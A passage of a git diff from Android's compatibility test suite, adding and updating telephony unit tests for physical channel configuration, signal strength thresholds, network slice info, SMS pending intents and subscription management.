+ private static final int PHYSICAL_CELL_ID = 502;
+ private static final int PHYSICAL_INVALID_CELL_ID = 1008;
+ private static final int NETWORK_TYPE_NR = TelephonyManager.NETWORK_TYPE_NR;
+ private static final int NETWORK_TYPE_LTE = TelephonyManager.NETWORK_TYPE_LTE;
+ private static final int NETWORK_TYPE_UMTS = TelephonyManager.NETWORK_TYPE_UMTS;
+ private static final int NETWORK_TYPE_GSM = TelephonyManager.NETWORK_TYPE_GSM;
+
+
+ private PhysicalChannelConfig mPhysicalChannelConfig;
+
+ @Before
+ public void setUp() throws Exception {
+ mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+ .setPhysicalCellId(PHYSICAL_CELL_ID)
+ .setNetworkType(NETWORK_TYPE_LTE)
+ .setCellConnectionStatus(CONNECTION_STATUS)
+ .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+ .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+ .setContextIds(CONTEXT_IDS)
+ .setFrequencyRange(FREQUENCY_RANGE)
+ .setDownlinkChannelNumber(CHANNEL_NUMBER)
+ .setUplinkChannelNumber(CHANNEL_NUMBER)
+ .setBand(BAND)
+ .build();
+ }
+
+ @Test
+ public void testInvalidPhysicalChannelConfig() {
+ try {
+ mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+ .setNetworkType(NETWORK_TYPE_LTE)
+ .setPhysicalCellId(PHYSICAL_INVALID_CELL_ID)
+ .setCellConnectionStatus(CONNECTION_STATUS)
+ .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+ .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+ .setContextIds(CONTEXT_IDS)
+ .setFrequencyRange(FREQUENCY_RANGE)
+ .setDownlinkChannelNumber(CHANNEL_NUMBER)
+ .setUplinkChannelNumber(CHANNEL_NUMBER)
+ .setBand(BAND)
+ .build();
+ fail("Physical cell Id: 1008 is over limit");
+ } catch (IllegalArgumentException e) {
+ }
+ }
+
+ @Test
+ public void testGetCellBandwidthDownlinkKhz() {
+ assertEquals(CELL_BANDWIDTH, mPhysicalChannelConfig.getCellBandwidthDownlinkKhz());
+ }
+
+ @Test
+ public void testGetCellBandwidthUplinkKhz() {
+ assertEquals(CELL_BANDWIDTH, mPhysicalChannelConfig.getCellBandwidthUplinkKhz());
+ }
+
+ @Test
+ public void testGetConnectionStatus() {
+ assertEquals(CONNECTION_STATUS, mPhysicalChannelConfig.getConnectionStatus());
+ }
+
+ @Test
+ public void testGetNetworkType() {
+ assertEquals(NETWORK_TYPE_LTE, mPhysicalChannelConfig.getNetworkType());
+ }
+
+ @Test
+ public void testGetPhysicalCellId() {
+ assertEquals(PHYSICAL_CELL_ID, mPhysicalChannelConfig.getPhysicalCellId());
+ }
+
+ @Test
+ public void testGetBand() {
+ assertEquals(BAND, mPhysicalChannelConfig.getBand());
+ }
+
+ @Test
+ public void testGetDownlinkChannelNumber() {
+ assertEquals(CHANNEL_NUMBER, mPhysicalChannelConfig.getDownlinkChannelNumber());
+ }
+
+ @Test
+ public void testGetUpChannelNumber() {
+ assertEquals(CHANNEL_NUMBER, mPhysicalChannelConfig.getUplinkChannelNumber());
+ }
+
+ @Test
+ public void testGetContextId() {
+ assertEquals(CONTEXT_IDS, mPhysicalChannelConfig.getContextIds());
+ }
+
+ @Test
+ public void testFrequencyRange() {
+ assertEquals(FREQUENCY_RANGE, mPhysicalChannelConfig.getFrequencyRange());
+ }
+
+ @Test
+ public void testFrequencyRangeForNrArfcnFromBand() {
+ mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+ .setPhysicalCellId(PHYSICAL_CELL_ID)
+ .setNetworkType(NETWORK_TYPE_NR)
+ .setCellConnectionStatus(CONNECTION_STATUS)
+ .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+ .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+ .setContextIds(CONTEXT_IDS)
+ .setDownlinkChannelNumber(4500)
+ .setUplinkChannelNumber(4500)
+ .setBand(AccessNetworkConstants.NgranBands.BAND_79)
+ .build();
+
+ assertThat(mPhysicalChannelConfig.getFrequencyRange()).isEqualTo(
+ ServiceState.FREQUENCY_RANGE_HIGH);
+ }
+
+ @Test
+ public void testFrequencyRangeForNrArfcnFromChannelNumber() {
+ mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+ .setPhysicalCellId(PHYSICAL_CELL_ID)
+ .setNetworkType(NETWORK_TYPE_NR)
+ .setCellConnectionStatus(CONNECTION_STATUS)
+ .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+ .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+ .setContextIds(CONTEXT_IDS)
+ .setDownlinkChannelNumber(4500)
+ .setUplinkChannelNumber(4500)
+ .setBand(100)
+ .build();
+
+ assertThat(mPhysicalChannelConfig.getFrequencyRange()).isEqualTo(
+ ServiceState.FREQUENCY_RANGE_LOW);
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java
new file mode 100644
index 0000000..0440f89
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.SignalStrengthUpdateRequest;
+import android.telephony.SignalThresholdInfo;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Collection;
+import java.util.List;
+
+public class SignalStrengthUpdateRequestTest {
+
+ private SignalThresholdInfo mRssiInfo = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+ .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+ .setThresholds(new int[]{-109, -103, -97, -89})
+ .build();
+
+ private SignalThresholdInfo mRscpInfo = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.UTRAN)
+ .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP)
+ .setThresholds(new int[]{-115, -105, -95, -85})
+ .build();
+
+ @Before
+ public void setUp() throws Exception {
+ assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+ }
+
+ @Test
+ public void testBuilderWithInvalidParam() {
+ // null Collection
+ validateBuilderWithInvalidParam(null);
+
+ // duplication of SignalMeasurementType in Collection
+ validateBuilderWithInvalidParam(List.of(mRssiInfo, mRssiInfo));
+ }
+
+ @Test
+ public void testBuilderWithValidParams() {
+ Collection<SignalThresholdInfo> infos = List.of(mRssiInfo, mRscpInfo);
+ SignalStrengthUpdateRequest request = new SignalStrengthUpdateRequest.Builder()
+ .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(false).build();
+ assertFalse(request.isReportingRequestedWhileIdle());
+ assertEquals(infos, request.getSignalThresholdInfos());
+ }
+
+ @Test
+ public void testParcel() {
+ Collection<SignalThresholdInfo> infos = List.of(mRssiInfo, mRscpInfo);
+ SignalStrengthUpdateRequest request = new SignalStrengthUpdateRequest.Builder()
+ .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(true).build();
+
+ Parcel p = Parcel.obtain();
+ request.writeToParcel(p, 0);
+ p.setDataPosition(0);
+
+ SignalStrengthUpdateRequest newRequest =
+ SignalStrengthUpdateRequest.CREATOR.createFromParcel(p);
+ assertThat(newRequest).isEqualTo(request);
+ }
+
+ @Test
+ public void testEquals() {
+ Collection<SignalThresholdInfo> infos1 = List.of(mRssiInfo, mRscpInfo);
+ SignalStrengthUpdateRequest request1 = new SignalStrengthUpdateRequest.Builder()
+ .setSignalThresholdInfos(infos1).setReportingRequestedWhileIdle(false).build();
+
+ assertTrue(request1.equals(request1));
+
+ // Ordering does not matter
+ Collection<SignalThresholdInfo> infos2 = List.of(mRscpInfo, mRssiInfo);
+ SignalStrengthUpdateRequest request2 = new SignalStrengthUpdateRequest.Builder()
+ .setSignalThresholdInfos(infos2).setReportingRequestedWhileIdle(false).build();
+ assertTrue(request1.equals(request2));
+
+ SignalStrengthUpdateRequest request3 = new SignalStrengthUpdateRequest.Builder()
+ .setSignalThresholdInfos(infos1).setReportingRequestedWhileIdle(true).build();
+ assertFalse(request1.equals(request3));
+
+ Collection<SignalThresholdInfo> infos4 = List.of(mRscpInfo);
+ SignalStrengthUpdateRequest request4 = new SignalStrengthUpdateRequest.Builder()
+ .setSignalThresholdInfos(infos4).setReportingRequestedWhileIdle(false).build();
+ assertFalse(request1.equals(request4));
+
+ // return false if the object is not SignalStrengthUpdateRequest
+ assertFalse(request1.equals("test"));
+ }
+
+ private void validateBuilderWithInvalidParam(Collection<SignalThresholdInfo> infos) {
+ try {
+ new SignalStrengthUpdateRequest.Builder()
+ .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(false).build();
+ fail("Exception expected");
+ } catch (IllegalArgumentException | NullPointerException expected) {
+ }
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java
new file mode 100644
index 0000000..e60ff53
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java
@@ -0,0 +1,272 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.SignalThresholdInfo;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test SignalThresholdInfo to make sure the object can only constructed with only valid data.
+ */
+public class SignalThresholdInfoTest {
+ private static final String TAG = "SignalThresholdInfo";
+
+ // A sample of valid (RAN, SignalMeasurementType, threshold value) arrays. Threshold value will
+ // used to construct thresholds array during test.
+ private static final int[][] VALID_PARAMS = {
+ {AccessNetworkConstants.AccessNetworkType.GERAN,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI, -100},
+ {AccessNetworkConstants.AccessNetworkType.CDMA2000,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI,
+ -100},
+ {AccessNetworkConstants.AccessNetworkType.UTRAN,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP, -100},
+ {AccessNetworkConstants.AccessNetworkType.EUTRAN,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+ -100},
+ {AccessNetworkConstants.AccessNetworkType.NGRAN,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+ -100},
+ };
+
+ // Map of SignalMeasurementType to invalid thresholds edge values.
+ // Each invalid value will be constructed with a thresholds array to test separately.
+ private static final Map<Integer, List<Integer>> INVALID_THRESHOLDS_MAP = Map.of(
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI,
+ List.of(SignalThresholdInfo.SIGNAL_RSSI_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_RSSI_MAX_VALUE + 1),
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP,
+ List.of(SignalThresholdInfo.SIGNAL_RSCP_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_RSCP_MAX_VALUE + 1),
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+ List.of(SignalThresholdInfo.SIGNAL_RSRP_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_RSRP_MAX_VALUE + 1),
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ,
+ List.of(SignalThresholdInfo.SIGNAL_RSRQ_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_RSRQ_MAX_VALUE + 1),
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR,
+ List.of(SignalThresholdInfo.SIGNAL_RSSNR_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_RSSNR_MAX_VALUE + 1),
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+ List.of(SignalThresholdInfo.SIGNAL_SSRSRP_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_SSRSRP_MAX_VALUE + 1),
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ,
+ List.of(SignalThresholdInfo.SIGNAL_SSRSRQ_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_SSRSRQ_MAX_VALUE + 1),
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR,
+ List.of(SignalThresholdInfo.SIGNAL_SSSINR_MIN_VALUE - 1,
+ SignalThresholdInfo.SIGNAL_SSSINR_MAX_VALUE + 1)
+ );
+
+ // Map of RAN to allowed SignalMeasurementType set.
+ // RAN/TYPE pair will be used to verify the validation of the combo
+ private static final Map<Integer, Set<Integer>> VALID_RAN_TO_MEASUREMENT_TYPE_MAP = Map.of(
+ AccessNetworkConstants.AccessNetworkType.GERAN,
+ Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI),
+ AccessNetworkConstants.AccessNetworkType.CDMA2000,
+ Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI),
+ AccessNetworkConstants.AccessNetworkType.UTRAN,
+ Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP),
+ AccessNetworkConstants.AccessNetworkType.EUTRAN,
+ Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR),
+ AccessNetworkConstants.AccessNetworkType.NGRAN,
+ Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR)
+ );
+
+ @Before
+ public void setUp() throws Exception {
+ assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+ }
+
+ @Test
+ public void testConstructor_validParams() {
+ for (int[] params : VALID_PARAMS) {
+ final int ran = params[0];
+ final int signalMeasurementType = params[1];
+ final int[] thresholds = new int[]{params[2]};
+
+ SignalThresholdInfo sti = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(ran)
+ .setSignalMeasurementType(signalMeasurementType)
+ .setThresholds(thresholds)
+ .build();
+
+ assertEquals(ran, sti.getRadioAccessNetworkType());
+ assertEquals(signalMeasurementType, sti.getSignalMeasurementType());
+ assertThat(thresholds).isEqualTo(sti.getThresholds());
+ }
+ }
+
+ @Test
+ public void testConstructor_invalidSignalMeasurementType() {
+ final int[] invalidSignalMeasurementTypes = new int[]{-1, 0, 9};
+ for (int signalMeasurementType : invalidSignalMeasurementTypes) {
+ buildWithInvalidParameterThrowException(
+ AccessNetworkConstants.AccessNetworkType.GERAN, signalMeasurementType,
+ new int[]{-1});
+ }
+ }
+
+ @Test
+ public void testConstructor_nullThresholds() {
+ buildWithInvalidParameterThrowException(
+ AccessNetworkConstants.AccessNetworkType.GERAN,
+ SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI, null);
+ }
+
+ @Test
+ public void testConstructor_invalidRanMeasurementTypeCombo() {
+ for (int ran : VALID_RAN_TO_MEASUREMENT_TYPE_MAP.keySet()) {
+ Set validTypes = VALID_RAN_TO_MEASUREMENT_TYPE_MAP.get(ran);
+ for (int type = SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI;
+ type <= SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR; type++) {
+ if (!validTypes.contains(type)) {
+ buildWithInvalidParameterThrowException(ran, type, new int[]{-1});
+ }
+ }
+ }
+ }
+
+ @Test
+ public void testConstructor_thresholdsOutOfRange() {
+ for (int signalMeasurementType : INVALID_THRESHOLDS_MAP.keySet()) {
+ List<Integer> invalidThresholds = INVALID_THRESHOLDS_MAP.get(signalMeasurementType);
+ for (int threshold : invalidThresholds) {
+ buildWithInvalidParameterThrowException(getValidRan(signalMeasurementType),
+ signalMeasurementType, new int[]{threshold});
+ }
+ }
+ }
+
+ @Test
+ public void testParcel() {
+ for (int[] params : VALID_PARAMS) {
+ final int ran = params[0];
+ final int signalMeasurementType = params[1];
+ final int[] thresholds = new int[]{params[2]};
+
+ SignalThresholdInfo sti = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(ran)
+ .setSignalMeasurementType(signalMeasurementType)
+ .setThresholds(thresholds)
+ .build();
+ Parcel p = Parcel.obtain();
+ sti.writeToParcel(p, 0);
+ p.setDataPosition(0);
+
+ SignalThresholdInfo newSt = SignalThresholdInfo.CREATOR.createFromParcel(p);
+ assertThat(newSt).isEqualTo(sti);
+ }
+
+ }
+
+ @Test
+ public void testEquals() {
+ final int[] dummyThresholds = new int[]{-100, -90, -70, -60};
+ final int[] dummyThresholdsDisordered = new int[]{-60, -90, -100, -70};
+
+ SignalThresholdInfo sti1 = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+ .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+ .setThresholds(dummyThresholds)
+ .build();
+
+ SignalThresholdInfo sti2 = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.CDMA2000)
+ .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+ .setThresholds(dummyThresholds)
+ .build();
+
+ SignalThresholdInfo sti3 = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+ .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+ .setThresholds(dummyThresholds)
+ .build();
+
+ SignalThresholdInfo sti4 = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+ .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+ .setThresholds(dummyThresholdsDisordered)
+ .build();
+
+ assertTrue(sti1.equals(sti1));
+ assertFalse(sti1.equals(sti2));
+ assertTrue(sti1.equals(sti3));
+ assertTrue(sti1.equals(sti4));
+ assertFalse(sti1.equals("sti1"));
+ }
+
+ private void buildWithInvalidParameterThrowException(int ran, int signalMeasurementType,
+ int[] thresholds) {
+ try {
+ new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(ran)
+ .setSignalMeasurementType(signalMeasurementType)
+ .setThresholds(thresholds)
+ .build();
+ fail("Exception expected");
+ } catch (IllegalArgumentException | NullPointerException expected) {
+ }
+ }
+
+ /**
+ * Return a possible valid RAN value for the measurement type. This is used to prevent the
+ * invalid ran/type causing IllegalArgumentException when testing other invalid input cases.
+ */
+ private static int getValidRan(@SignalThresholdInfo.SignalMeasurementType int type) {
+ switch (type) {
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI:
+ return AccessNetworkConstants.AccessNetworkType.GERAN;
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP:
+ return AccessNetworkConstants.AccessNetworkType.UTRAN;
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP:
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ:
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR:
+ return AccessNetworkConstants.AccessNetworkType.EUTRAN;
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP:
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ:
+ case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR:
+ return AccessNetworkConstants.AccessNetworkType.NGRAN;
+ default:
+ return AccessNetworkConstants.AccessNetworkType.UNKNOWN;
+ }
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SliceInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SliceInfoTest.java
new file mode 100644
index 0000000..d0ab1ae
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SliceInfoTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_EMBB;
+import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_MIOT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.os.Parcel;
+import android.telephony.data.SliceInfo;
+
+import org.junit.Test;
+
+public class SliceInfoTest {
+ private static final int TEST_SLICE_DIFFERENTIATOR = 1;
+ private static final int TEST_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_EMBB;
+ private static final int TEST_HPLMN_SLICE_DIFFERENTIATOR = 10;
+ private static final int TEST_HPLMN_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_MIOT;
+
+ @Test
+ public void testParceling() {
+ testParceling(new SliceInfo.Builder()
+ .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+ .build());
+
+ testParceling(new SliceInfo.Builder()
+ .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+ .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+ .build());
+
+ testParceling(new SliceInfo.Builder()
+ .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+ .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+ .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
+ .build());
+
+ testParceling(new SliceInfo.Builder()
+ .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+ .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+ .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
+ .setMappedHplmnSliceDifferentiator(TEST_HPLMN_SLICE_DIFFERENTIATOR)
+ .build());
+ }
+
+ private void testParceling(SliceInfo sliceInfo1) {
+ Parcel stateParcel = Parcel.obtain();
+ sliceInfo1.writeToParcel(stateParcel, 0);
+ stateParcel.setDataPosition(0);
+
+ SliceInfo parcelResponse = SliceInfo.CREATOR.createFromParcel(stateParcel);
+ assertThat(parcelResponse).isEqualTo(sliceInfo1);
+ }
+
+ @Test
+ public void testSliceDifferentiatorRange() {
+ new SliceInfo.Builder()
+ .setSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR)
+ .setSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR)
+ .setMappedHplmnSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR)
+ .setMappedHplmnSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR);
+
+ try {
+ new SliceInfo.Builder()
+ .setSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR - 1);
+ fail("Illegal state exception expected");
+ } catch (IllegalArgumentException ignored) {
+ }
+
+ try {
+ new SliceInfo.Builder()
+ .setMappedHplmnSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR - 1);
+ fail("Illegal state exception expected");
+ } catch (IllegalArgumentException ignored) {
+ }
+
+ try {
+ new SliceInfo.Builder()
+ .setSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR + 1);
+ fail("Illegal state exception expected");
+ } catch (IllegalArgumentException ignored) {
+ }
+
+ try {
+ new SliceInfo.Builder()
+ .setMappedHplmnSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR + 1);
+ fail("Illegal state exception expected");
+ } catch (IllegalArgumentException ignored) {
+ }
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 8761739..0013ea7 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -629,9 +629,9 @@
mReceivedDataSms = false;
sMessageId = 0L;
mSentIntent = PendingIntent.getBroadcast(mContext, 0, mSendIntent,
- PendingIntent.FLAG_ONE_SHOT);
+ PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
mDeliveredIntent = PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent,
- PendingIntent.FLAG_ONE_SHOT);
+ PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
/**
@@ -647,8 +647,8 @@
ArrayList<PendingIntent> sentIntents = new ArrayList<PendingIntent>();
ArrayList<PendingIntent> deliveryIntents = new ArrayList<PendingIntent>();
for (int i = 0; i < numPartsSent; i++) {
- sentIntents.add(PendingIntent.getBroadcast(mContext, 0, mSendIntent, 0));
- deliveryIntents.add(PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent, 0));
+ sentIntents.add(PendingIntent.getBroadcast(mContext, 0, mSendIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
+ deliveryIntents.add(PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
}
sendMultiPartTextMessage(mDestAddr, parts, sentIntents, deliveryIntents, addMessageId);
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
index a9a934d..e61a720 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
@@ -34,13 +34,13 @@
Intent intent = new Intent(context, SmsReceiver.class);
intent.setAction(MESSAGE_SENT_ACTION);
return PendingIntent.getBroadcast(context, 0, intent,
- PendingIntent.FLAG_CANCEL_CURRENT);
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
public static PendingIntent getMessageDeliveredPendingIntent(Context context) {
Intent intent = new Intent(context, SmsReceiver.class);
intent.setAction(MESSAGE_DELIVERED_ACTION);
return PendingIntent.getBroadcast(context, 0, intent,
- PendingIntent.FLAG_CANCEL_CURRENT);
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 987e098..b6a0f6f 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -18,6 +18,7 @@
import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_CONGESTED;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_RESTRICTED;
